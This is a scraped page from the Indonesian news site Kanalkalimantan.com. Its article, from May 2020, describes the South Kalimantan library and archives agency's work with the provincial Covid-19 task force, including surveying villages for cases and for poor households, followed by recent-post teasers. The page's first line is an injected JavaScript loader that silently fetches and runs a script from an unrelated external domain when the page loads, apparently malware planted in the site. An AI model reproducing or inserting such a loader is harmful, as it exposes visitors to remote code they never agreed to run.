(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Terlibat Perangi Covid-19, Dispersip Kalsel Terapkan Literasi Preventif dan Promotif


KANALKALIMANTAN.COM, BANJARMASIN – Kendati Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel meliburkan pelayanan perpustakaan karena pandemi Covid-19, tapi bukan berarti instansi yang membidangi perpustakaan dan kearsipan daerah ini berdiam diri.

Nyatanya, Dispersip Kalsel turut serta bergerak dalam Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalsel. Tentunya, sesuai dengan tugas pokok dan fungsi yaitu memberikan literasi preventif (pencegahan) dan promotif terhadap penanganan Covid-19, sesuai dengan arahan Ketua Tim Gugus Tugas P2 Covid-19 Kalsel.

“Tim Dispersip Kalsel beberapa pekan terakhir turut serta dengan melibatkan 2 buah unit mobil minibus dan 6 personel, guna melakukan pendataan masyarakat yang terkena ataupun terindikasi Covid-19 di beberapa wilayah pedesaan di Kecamatan Tabukan, Kabupaten Barito Kuala yaitu Desa Teluk Tamba dan Desa Tabukan Raya,” ungkap Kepala Dispersip Kalsel Dra. Hj. Nurliani Dardie, Selasa (19/5/2020) sore.

Bunda Nunung –biasa ia disapa- menambahkan, Tim Gugus Tugas P2 Covid-19 Kalsel yang berasal dari Dispersip Kalsel mendatangi beberapa desa tersebut, tentunya dengan difasilitasi oleh Camat dan Kepala desa. Hal ini dilakukan agar koordinasi lebih intens dalam pelaksanaan sosialisasi pencegahan dan pendataan ODP (orang dalam pemantauan), PDP (pasien dalam pengawasan) maupun pasien yang terindikasi Covid-19.

“Sekaligus Tim Gugus dari Dispersip Kalsel mendata berapa banyak masyarakat miskin yang perlu dibantu di desa tersebut akibat wabah Covid-19. Selanjutnya data tersebut dikumpulkan setiap hari ke Tim Gugus Tugas P2 Covid-19 Kalsel,” terang mantan Kepala Perpustakaan Kota Banjarbaru ini.

Dengan adanya upaya ini, harapannya dapat membantu dan mempermudah penanganan, pencegahan serta promosi terhadap pandemi Covid-19 di Kalsel, sekaligus mendapatkan data yang akurat terhadap masyarakat yang memang memerlukan bantuan akibat pandemi Covid-19.

Bunda Nunung memastikan, kepala desa dan tokoh masyarakat menerima Tim Pendataan Covid-19 Dispersip Kalsel dengan senang hati dan telah menjalankan protokol Covid-19 di desanya masing masing. Hal ini mencerminkan bahwa masyarakat di desa telah turut aktif dan turut serta melakukan pencegahan terhadap pandemi Covid-19 di wilayah masing-masing dengan kebersamaan dan kekompakan sehingga dapat meminimalisir masyarakat desa setempat terpapar covid 19, apalagi di masa Pembatasan Sosial Berskala Besar (PSBB) di Bumi Selidah. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.